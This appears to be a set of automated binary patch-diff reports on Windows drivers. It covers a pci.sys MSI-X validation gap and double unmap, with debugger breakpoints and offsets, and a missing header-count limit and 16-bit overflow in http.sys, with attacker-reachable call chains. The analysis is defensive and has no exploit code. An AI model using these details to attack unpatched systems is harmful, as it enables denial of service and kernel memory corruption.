&lt;td&gt;&lt;code&gt;0x1c004d22d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov dword [rbx], 3&lt;/code&gt; — MSI-X type set (no pre-validation, unpatched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c004d2a9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;imul eax, [rsi], 0x58&lt;/code&gt; — 32-bit size compute (identical in both builds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c004d2dd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt; — copy length equals allocation size (no overflow)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c004d2f9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PciReadDeviceConfig&lt;/code&gt; — cap read after alloc, unchecked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched &lt;code&gt;0x14009c8bf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PciReadDeviceConfig&lt;/code&gt; — cap read before alloc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched &lt;code&gt;0x14009c8c4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp byte [rsp+var_68], 0x11&lt;/code&gt; — MSI-X capability ID check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched &lt;code&gt;0x14009c8d6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp al, 6&lt;/code&gt; — table BIR upper bound&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched &lt;code&gt;0x14009ca17&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, 0xC0000184&lt;/code&gt; — &lt;code&gt;STATUS_INVALID_DEVICE_REQUEST&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;What to Inspect&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;At entry: &lt;code&gt;RCX&lt;/code&gt; = device extension (&lt;code&gt;[RCX+0x410]&lt;/code&gt; MSI type in unpatched, &lt;code&gt;[RCX+0x520]&lt;/code&gt; in patched); &lt;code&gt;RDX&lt;/code&gt; = resource list (&lt;code&gt;[RDX]&lt;/code&gt; = descriptor count); &lt;code&gt;R9D&lt;/code&gt; = index.&lt;/li&gt;
&lt;li&gt;In the patched build, &lt;code&gt;[rsp+var_68]&lt;/code&gt; after &lt;code&gt;PciReadDeviceConfig&lt;/code&gt; holds the capability bytes: low byte = capability ID (expect &lt;code&gt;0x11&lt;/code&gt;), &lt;code&gt;BYTE4 &amp;amp; 7&lt;/code&gt; = BIR (rejected if &lt;code&gt;7&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;PciProcessStartResources&lt;/code&gt;&lt;/h3&gt;
&lt;h4&gt;Breakpoints&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp pci_unpatched!PciProcessStartResources        &amp;quot;Entry — RCX=dev ext, RDX=resource list, R9=out buf, arg5=device_ext+0x388&amp;quot;
bp 0x1c004d0df                                    &amp;quot;MmMapIoSpaceEx — stores VA at device_ext+0x398&amp;quot;
bp 0x1c0063839                                    &amp;quot;MmUnmapIoSpace on error path (pointer left stale in unpatched)&amp;quot;
bp pci_unpatched!PciDevice_Remove
bp 0x1c006cae0                                    &amp;quot;PciDevice_Stop — second unmap of device_ext+0x398&amp;quot;
bp 0x14009c72d                                    &amp;quot;patched: clears device_ext+0x398 after unmap&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;Key Offsets&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c004d0df&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MmMapIoSpaceEx&lt;/code&gt; — maps MSI-X table BAR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c004d0eb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rbp+0x10], rax&lt;/code&gt; — store VA into &lt;code&gt;device_ext+0x398&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0063839&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MmUnmapIoSpace&lt;/code&gt; on the start-failure cleanup path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0063846&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jmp&lt;/code&gt; past cleanup — pointer still set (unpatched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PciDevice_Remove 0x1c0010340&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;teardown re-unmaps &lt;code&gt;device_ext+0x398&lt;/code&gt; if non-NULL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PciDevice_Stop 0x1c006cae0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;teardown re-unmaps &lt;code&gt;device_ext+0x398&lt;/code&gt; if non-NULL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched &lt;code&gt;0x14009c72d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov qword [rsi+0x10], 0&lt;/code&gt; — clears the pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Descriptor Layout (MSI-X output, &lt;code&gt;arg5&lt;/code&gt; = &lt;code&gt;device_ext+0x388&lt;/code&gt;, 0x68 bytes)&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Type (3 = MSI-X)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BYTE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;BIR / BAR index&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x0C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Table offset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;QWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;BaseAddress — the dangling pointer&lt;/strong&gt; (&lt;code&gt;device_ext+0x398&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Vector index / count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;QWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;BAR-to-vector table pool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x28&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;QWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MSI-X descriptor copy pool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Device Extension Offsets&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Unpatched&lt;/th&gt;
&lt;th&gt;Patched&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x410&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x520&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MSI type (&lt;code&gt;3&lt;/code&gt; = MSI-X)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x414&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x524&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;BAR count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x388&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x388&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MSI-X output descriptor base (&lt;code&gt;arg5&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x398&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x398&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mapped MSI-X table BaseAddress (&lt;code&gt;arg5+0x10&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x38C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x49C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Interrupt pin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x39&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x3D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MSI-X capability offset (read by &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.802&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds MSI-X capability validation (&lt;code&gt;cap_id == 0x11&lt;/code&gt;, &lt;code&gt;BIR != 7&lt;/code&gt;) and moves the config read to before the allocation. Also swaps &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2&lt;/code&gt; (API modernization) and sets state flag &lt;code&gt;+0x6b0 \|= 0x2000000000000000&lt;/code&gt; on success. The &lt;code&gt;88*count+8&lt;/code&gt; size math and matched &lt;code&gt;memmove&lt;/code&gt; length are unchanged — no integer-overflow fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PciProcessStartResources&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.566&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Clears &lt;code&gt;device_ext+0x398&lt;/code&gt; (&lt;code&gt;arg5+0x10&lt;/code&gt;) after &lt;code&gt;MmUnmapIoSpace&lt;/code&gt;, preventing the double unmap performed later by &lt;code&gt;PciDevice_Remove&lt;/code&gt; / &lt;code&gt;PciDevice_Stop&lt;/code&gt;. Also adds a legacy VGA resource filter (&lt;code&gt;PciIsVgaResource&lt;/code&gt;, &lt;code&gt;0x14009C7BC&lt;/code&gt;) and a second output buffer; struct offsets shift (&lt;code&gt;0x414→0x524&lt;/code&gt;, &lt;code&gt;0x410→0x520&lt;/code&gt;, &lt;code&gt;0x1EC→0x2FC&lt;/code&gt;, &lt;code&gt;0x38C→0x49C&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PciDeviceStartWorker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.850&lt;/td&gt;
&lt;td&gt;behavioral&lt;/td&gt;
&lt;td&gt;Caller of &lt;code&gt;PciProcessStartResources&lt;/code&gt; (device-start / resource processing). Passes &lt;code&gt;device_ext+0x388&lt;/code&gt; as the MSI-X output descriptor. Offset shifts consistent with the struct refactor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PciAssignSlotResources&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.489&lt;/td&gt;
&lt;td&gt;behavioral&lt;/td&gt;
&lt;td&gt;Second caller of &lt;code&gt;PciProcessStartResources&lt;/code&gt; (slot resource assignment). Rewritten for the new struct layout.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Refactor / non-security churn:&lt;/strong&gt; the patch is a major version rebuild — pool allocator API swap (&lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2&lt;/code&gt;), pervasive device-extension layout shifts, and heavy WPP/ETW tracing additions. These lower the similarity score but are not behavior-affecting security changes. An independent size-arithmetic sweep across all shared functions found no additional integer-overflow guard (no new multiply/shift guard, no 32→64-bit widening, no count clamp) beyond the two changes above.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Added / Removed Functions&lt;/h2&gt;
&lt;p&gt;The patched build is a major version rebuild that introduces numerous new functions (for example DOE / CXL / TDISP / AER handlers and feature-staging helpers) with no unpatched counterpart. None of these is the delivered security fix; both security changes are in-place modifications to &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; and &lt;code&gt;PciProcessStartResources&lt;/code&gt;. The overflow-checked helper &lt;code&gt;RtlULongLongMult&lt;/code&gt; appears only in the patched build, but exclusively in new code or as a refactor of an existing guard: the sole shared-function call site, &lt;code&gt;PciGetRequirementsForVfs&lt;/code&gt;, already validated the same &lt;code&gt;length * NumVFs&lt;/code&gt; multiply with &lt;code&gt;is_mul_ok&lt;/code&gt; in the unpatched build, so this is a guard modernization, not a newly added overflow check.&lt;/p&gt;
&lt;p&gt;Helpers invoked by the patched code but already present in both builds: &lt;code&gt;PciReadDeviceConfig&lt;/code&gt; (config capability reader) and &lt;code&gt;PciIsVgaResource&lt;/code&gt; (&lt;code&gt;0x14009C7BC&lt;/code&gt;, legacy VGA resource filter).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; &lt;strong&gt;High&lt;/strong&gt; for the existence, location, and direction of both changes. The assembly evidence is direct: the added capability validation and the cleared dangling pointer both map to concrete instruction differences between the two builds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; both code paths run only during PnP device start / enumeration against the device's own config space. They are not reachable from an untrusted user-mode IOCTL surface. The attacker is a malicious/malformed PCIe device or a PCI-passthrough / SR-IOV guest.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 impact is bounded:&lt;/strong&gt; the device controls only the MSI-X BIR selection and table offset added to an OS-assigned physical base within its assigned resource set; there is no demonstrated pool overflow or arbitrary-mapping primitive. This is a validation / robustness fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No integer overflow:&lt;/strong&gt; the &lt;code&gt;88 * count + 8&lt;/code&gt; allocation-size multiply is 32-bit in both builds and the &lt;code&gt;memmove&lt;/code&gt; length equals the allocation size in both builds. The patch does not touch this arithmetic; an integer-overflow framing does not hold against the binaries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2 is a genuine double unmap:&lt;/strong&gt; the descriptor at &lt;code&gt;device_ext+0x388&lt;/code&gt; is persistent, and &lt;code&gt;PciDevice_Remove&lt;/code&gt; / &lt;code&gt;PciDevice_Stop&lt;/code&gt; re-unmap &lt;code&gt;device_ext+0x398&lt;/code&gt; when it is left non-NULL. The fix is the pointer clear in &lt;code&gt;PciProcessStartResources&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symbol names&lt;/strong&gt; are the driver's own export/analysis names; addresses are authoritative for breakpoints.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — Feature-gated HTTP header-count resource limit (CWE-400) and 16-bit buffer-growth integer-overflow guard (CWE-190), fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_dd87f5a5-http-report-20260629-002509.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/http_dd87f5a5-http-report-20260629-002509.html</id><summary type="html">&lt;p&gt;KB5093998&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9915 (very high)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;3587&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions (above matcher threshold)&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;3583&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (added/removed)&lt;/td&gt;
&lt;td&gt;0 / 0 (plus new leaf helpers &lt;code&gt;RtlUShortAdd&lt;/code&gt;, &lt;code&gt;Feature_4071067963__*&lt;/code&gt;, &lt;code&gt;Feature_1643097402__*&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch delivers two feature-gated hardening changes to the kernel HTTP stack:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A per-request &lt;strong&gt;header-pair count limit&lt;/strong&gt; (&lt;code&gt;MaxHeadersCount&lt;/code&gt;) enforced in &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt;. The unpatched driver bounded only total request bytes (&lt;code&gt;MaxRequestBytes&lt;/code&gt;) and per-field length (&lt;code&gt;MaxFieldLength&lt;/code&gt;); it placed no cap on the number of header pairs processed per request.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;16-bit integer-overflow guard&lt;/strong&gt; (&lt;code&gt;RtlUShortAdd&lt;/code&gt;) on the request-buffer array growth path in &lt;code&gt;UlpParseNextRequest&lt;/code&gt;. The unpatched driver grew a 16-bit capacity counter with an unchecked &lt;code&gt;add&lt;/code&gt;, which can wrap at &lt;code&gt;0xFFFF&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Both changes are gated behind WIL feature-staging flags surfaced as Known-Issue-Rollback (KIR) bytes (&lt;code&gt;UxKirMaxHeadersCountLimit&lt;/code&gt;, &lt;code&gt;UxKirRefBufferOverflowCheck&lt;/code&gt;). When a gate is off, the driver retains the original (unbounded / unchecked) code path, so this is a staged rollout rather than an unconditional fix.&lt;/p&gt;
&lt;p&gt;The remaining function-level deltas across the two builds are WPP software-trace message-ID renumbering (a new trace message inserted for the header-count event shifts subsequent IDs), a &lt;code&gt;+4&lt;/code&gt;/&lt;code&gt;+8&lt;/code&gt; struct-field offset ripple, and ordinary recompilation codegen churn. None of those carry a behavioral security change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Missing HTTP header-pair count limit (Medium / CWE-400)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Uncontrolled Resource Consumption (CWE-400)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; (unpatched &lt;code&gt;@ 0x1C000F440&lt;/code&gt;, patched &lt;code&gt;@ 0x1C000FAA0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; Any TCP connection to an http.sys-backed listener (IIS 80/443, WinRM HTTP 5985, and other HTTP Server API consumers).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; receives an already-tokenized array of header pairs and a count (the count lives at &lt;code&gt;arg2[1]&lt;/code&gt;, i.e. &lt;code&gt;*(rdx+8)&lt;/code&gt;). It loops over each entry (&lt;code&gt;index = 0 .. count-1&lt;/code&gt;), and for each header pair it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Validates leading/trailing whitespace on the name and value using the &lt;code&gt;HttpChars&lt;/code&gt; classification table.&lt;/li&gt;
&lt;li&gt;Computes a hash of the header name (&lt;code&gt;ebx&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Runs a &lt;code&gt;switch&lt;/code&gt; that compares the hash against a table of well-known header-name hashes (&lt;code&gt;0xD2571FDB&lt;/code&gt;, &lt;code&gt;0x22AA28CC&lt;/code&gt;, &lt;code&gt;0x8364ED5D&lt;/code&gt;, &lt;code&gt;0x8E947973&lt;/code&gt;, &lt;code&gt;0x253F9D6E&lt;/code&gt;, &lt;code&gt;0x358E428A&lt;/code&gt;, &lt;code&gt;0x34291785&lt;/code&gt;, …); on a hash match it confirms with a &lt;code&gt;strncmp&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the unpatched build there is &lt;strong&gt;no limit on the number of header pairs&lt;/strong&gt; this loop will process. The count is bounded upstream only by &lt;code&gt;MaxRequestBytes&lt;/code&gt; (registry-configurable: minimum &lt;code&gt;0x100&lt;/code&gt;, default &lt;code&gt;0x4000&lt;/code&gt; = 16 KB, maximum &lt;code&gt;0x1000000&lt;/code&gt; = 16 MB). With minimal headers an attacker can fill that byte budget with a large number of header pairs, forcing the loop to perform O(count) whitespace-classification, hashing, and &lt;code&gt;strncmp&lt;/code&gt; work in kernel context per request. Pipelined or concurrent requests raise the aggregate kernel-CPU cost.&lt;/p&gt;
&lt;p&gt;The patch adds a count gate at the top of the loop (only when the KIR/feature gate is enabled):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reads &lt;code&gt;MaxHeadersCount&lt;/code&gt; from the server-configuration structure at &lt;code&gt;+0x1124&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rejects the request when &lt;code&gt;header_pair_count &amp;gt; MaxHeadersCount + 4&lt;/code&gt;, setting http.sys internal error code &lt;code&gt;0x29&lt;/code&gt; and status field &lt;code&gt;0xC0000040&lt;/code&gt;, then branching to error cleanup at &lt;code&gt;0x1C00104C3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Emits a WPP software-trace message (id &lt;code&gt;0x5E&lt;/code&gt;) via &lt;code&gt;WPP_SF_qLd&lt;/code&gt; when the limit is exceeded.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The default &lt;code&gt;MaxHeadersCount&lt;/code&gt; is &lt;code&gt;max(MaxRequestBytes &amp;gt;&amp;gt; 9, 0xC8)&lt;/code&gt; = &lt;code&gt;max(MaxRequestBytes/512, 200)&lt;/code&gt;; with the default 16 KB &lt;code&gt;MaxRequestBytes&lt;/code&gt; this yields a cap of 200 (+4). It is registry-configurable in the range &lt;code&gt;[0x32, 0xFFFF]&lt;/code&gt; (50–65535) via the &lt;code&gt;MaxHeadersCount&lt;/code&gt; value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable call chain:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker opens a TCP connection to an http.sys-backed port.&lt;/li&gt;
&lt;li&gt;Network receive path dispatches to &lt;code&gt;UlHttpReceiveHeadersEvent&lt;/code&gt; (&lt;code&gt;@ 0x1C0006050&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlHttpReceiveHeadersEvent&lt;/code&gt; calls &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; at &lt;code&gt;0x1C000634A&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; iterates the header-pair array with no count limit (unpatched).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding #2 — Unchecked 16-bit buffer-growth counter (Low / CWE-190)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (feature-gated defense-in-depth)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Integer Overflow (CWE-190), potentially reaching a heap out-of-bounds write (CWE-787)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;UlpParseNextRequest&lt;/code&gt; (&lt;code&gt;@ 0x1C0006C30&lt;/code&gt; in both builds).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UlpParseNextRequest&lt;/code&gt; maintains a growable array of 8-byte pointers on the connection object: buffer pointer at &lt;code&gt;+0x648&lt;/code&gt;, allocated capacity (a 16-bit &lt;code&gt;USHORT&lt;/code&gt;) at &lt;code&gt;+0x640&lt;/code&gt;, and current used count (also 16-bit) at &lt;code&gt;+0x642&lt;/code&gt;. When the array is full it reallocates (pool tag &lt;code&gt;"UlRR"&lt;/code&gt; = &lt;code&gt;0x52526C55&lt;/code&gt;, &lt;code&gt;ExAllocatePool3&lt;/code&gt;), copies the old contents with &lt;code&gt;memmove&lt;/code&gt;, frees the old buffer, and increases the capacity by 5.&lt;/p&gt;
&lt;p&gt;In the unpatched build the capacity increase is an unchecked 16-bit add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;add   word ptr [rsi+640h], 5      ; wraps silently at 0xFFFF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the capacity counter is driven up to near &lt;code&gt;0xFFFF&lt;/code&gt;, this add wraps to a small value, after which the recorded capacity no longer reflects the real allocation and subsequent index writes (&lt;code&gt;mov [rax+rcx*8], r15&lt;/code&gt;) can fall outside the allocated array.&lt;/p&gt;
&lt;p&gt;The patch (when its gate is enabled) replaces the unchecked increment with the new helper &lt;code&gt;RtlUShortAdd&lt;/code&gt; (&lt;code&gt;@ 0x1C001FBB8&lt;/code&gt;), which performs &lt;code&gt;capacity + 5&lt;/code&gt; with a 16-bit overflow check and returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; (&lt;code&gt;0xC0000095&lt;/code&gt;) on wrap; the caller bails out on the negative status instead of reallocating.&lt;/p&gt;
&lt;p&gt;Reaching the wrap requires on the order of &lt;code&gt;0xFFFF / 5 ≈ 13107&lt;/code&gt; growth events (that many entries accumulated in this per-connection array), so this is a hard-to-reach hardening rather than a readily triggerable primitive. It is delivered feature-gated, with the old unchecked path retained when the gate is off.&lt;/p&gt;
